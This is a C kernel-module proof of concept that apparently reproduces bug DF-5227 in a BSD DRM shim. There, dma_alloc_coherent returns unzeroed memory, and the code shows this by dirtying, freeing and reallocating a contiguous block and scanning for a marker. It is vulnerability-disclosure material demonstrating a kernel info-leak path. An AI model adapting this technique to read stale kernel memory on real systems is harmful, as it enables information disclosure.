/*
 * DF-5227 PoC: dma_alloc_coherent() returns NON-ZEROED (stale) kernel memory.
 *
 * sys/dev/drm/linux_dma.c:31-74 implements dma_alloc_coherent as
 *	kmem_alloc_contig(size, 0, POC_MAXADDR_32BIT,
 *	                   PAGE_SIZE << get_order(size));
 * which is contigmalloc_map(..., M_NOWAIT, ...) -- NO M_ZERO (vm_contig.c:612,
 * zeroing only happens with M_ZERO at vm_contig.c:533-534).  The Linux DMA
 * API contract requires dma_alloc_coherent to return zeroed memory (the
 * disabled FreeBSD reference code inside the same function passes
 * BUS_DMA_ZERO; all live in-tree callers carry manual memset workarounds:
 * amdgpu_ih.c:66, drm_pci.c:130, radeon_gart.c:85).
 *
 * Demonstration (deterministic via the low-memory DMA reserve alist):
 *  1. contigmalloc() 2MB (same underlying allocator the shim uses),
 *  2. dirty it with an ASCII marker repeated in every page,
 *  3. contigfree() it  -- pages return to the DMA reserve alist, contents
 *     preserved, first-fit reuse (vm_page.c vm_page_alloc_contig/ alist),
 *  4. dma_alloc_coherent(NULL, 2MB) -- per contract must come back zeroed,
 *  5. scan for the marker.
 *
 * Any marker hit == stale kernel memory handed out to the device/GPU in a
 * "coherent" allocation.  On real hardware the GPU can read that buffer and
 * userspace can read the GPU: kernel-info-leak.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <vm/vm_extern.h>

/* 4GB DMA cap, same value the shim hardcodes (BUS_SPACE_MAXADDR_32BIT) */
#define	POC_MAXADDR_32BIT	0xFFFFFFFFUL

/* resolve from drm.ko (kldload drm first) */
struct device;
extern void *dma_alloc_coherent(struct device *dev, size_t size,
    unsigned long *dma_handle, unsigned int flag);

#define	ALLOC_SZ	(2 * 1024 * 1024)
static const char marker[] = "DF5227-STALE-KERNEL-MEMORY-MARKER!";

static void
hexdump_region(const char *tag, const unsigned char *p, size_t len)
{
	size_t j;
	int i;

	for (j = 0; j < len; j += 16) {
		kprintf("%s %04zx:", tag, j);
		for (i = 0; i < 16; i++)
			kprintf(" %02x", p[j + i]);
		kprintf("  |");
		for (i = 0; i < 16; i++)
			kprintf("%c", (p[j + i] >= 32 && p[j + i] < 127) ?
			    p[j + i] : '.');
		kprintf("|\n");
	}
}

static int
poc5227_handler(struct module *m, int what, void *arg)
{
	unsigned char *dirty, *coh;
	unsigned long dh;
	vm_paddr_t dirty_pa, coh_pa;
	size_t i, j, npages, first_hit;
	long hits, stale_pages;

	if (what != MOD_LOAD)
		return 0;

	/* 1: dirty a 2MB contig block through the same allocator the shim uses */
	dirty = contigmalloc(ALLOC_SZ, M_DEVBUF, M_WAITOK, 0,
	    POC_MAXADDR_32BIT, PAGE_SIZE, 0);
	if (dirty == NULL) {
		kprintf("DF5227: contigmalloc failed\n");
		return (ENOMEM);
	}
	dirty_pa = vtophys(dirty);
	memset(dirty, 0xA5, ALLOC_SZ);
	for (i = 0; i + sizeof(marker) <= ALLOC_SZ; i += PAGE_SIZE)
		memcpy(dirty + i, marker, sizeof(marker));
	kprintf("DF5227: dirtied %dKB va=%016jx phys=%016jx, freeing...\n",
	    ALLOC_SZ / 1024, (intmax_t)(uintptr_t)dirty,
	    (intmax_t)dirty_pa);
	contigfree(dirty, ALLOC_SZ, M_DEVBUF);

	/* 2: the "coherent" allocation -- Linux contract says ZEROED memory */
	coh = dma_alloc_coherent(NULL, ALLOC_SZ, &dh, 0 /* GFP_KERNEL */);
	if (coh == NULL) {
		kprintf("DF5227: dma_alloc_coherent failed\n");
		return (ENOMEM);
	}
	coh_pa = vtophys(coh);
	kprintf("DF5227: dma_alloc_coherent va=%016jx dma=%016jx "
	    "(just-freed block phys=%016jx)%s\n",
	    (intmax_t)(uintptr_t)coh, (intmax_t)dh, (intmax_t)dirty_pa,
	    (coh_pa == dirty_pa) ? "  SAME PHYSICAL BLOCK" : "");

	/* 3: scan */
	hits = 0;
	stale_pages = 0;
	first_hit = 0;
	npages = ALLOC_SZ / PAGE_SIZE;
	for (i = 0; i + sizeof(marker) <= ALLOC_SZ; i++) {
		if (memcmp(coh + i, marker, sizeof(marker)) == 0) {
			if (hits == 0)
				first_hit = i;
			hits++;
		}
	}
	for (j = 0; j < npages; j++) {
		for (i = 0; i < PAGE_SIZE; i += 16) {
			if (coh[j * PAGE_SIZE + i] != 0) {
				stale_pages++;
				break;
			}
		}
	}
	kprintf("DF5227 RESULT: marker_hits=%ld stale_nonzero_pages=%ld/%zu\n",
	    hits, stale_pages, npages);

	if (hits) {
		hexdump_region("DF5227 LEAK", coh + (first_hit & ~15UL), 96);
		kprintf("DF5227 VERDICT: REPRODUCED - dma_alloc_coherent handed "
		    "out stale kernel memory (marker from the previous owner "
		    "of those pages)\n");
	} else {
		kprintf("DF5227 VERDICT: NOT reproduced (buffer was zero)\n");
	}

	/* keep the allocation; module has no unload handler (freeing it
	 * permanently leaks the pages: that is DF-5228) */
	return (0);
}

static moduledata_t poc5227_mod = {
	"poc5227",
	poc5227_handler,
	NULL
};
DECLARE_MODULE(poc5227, poc5227_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
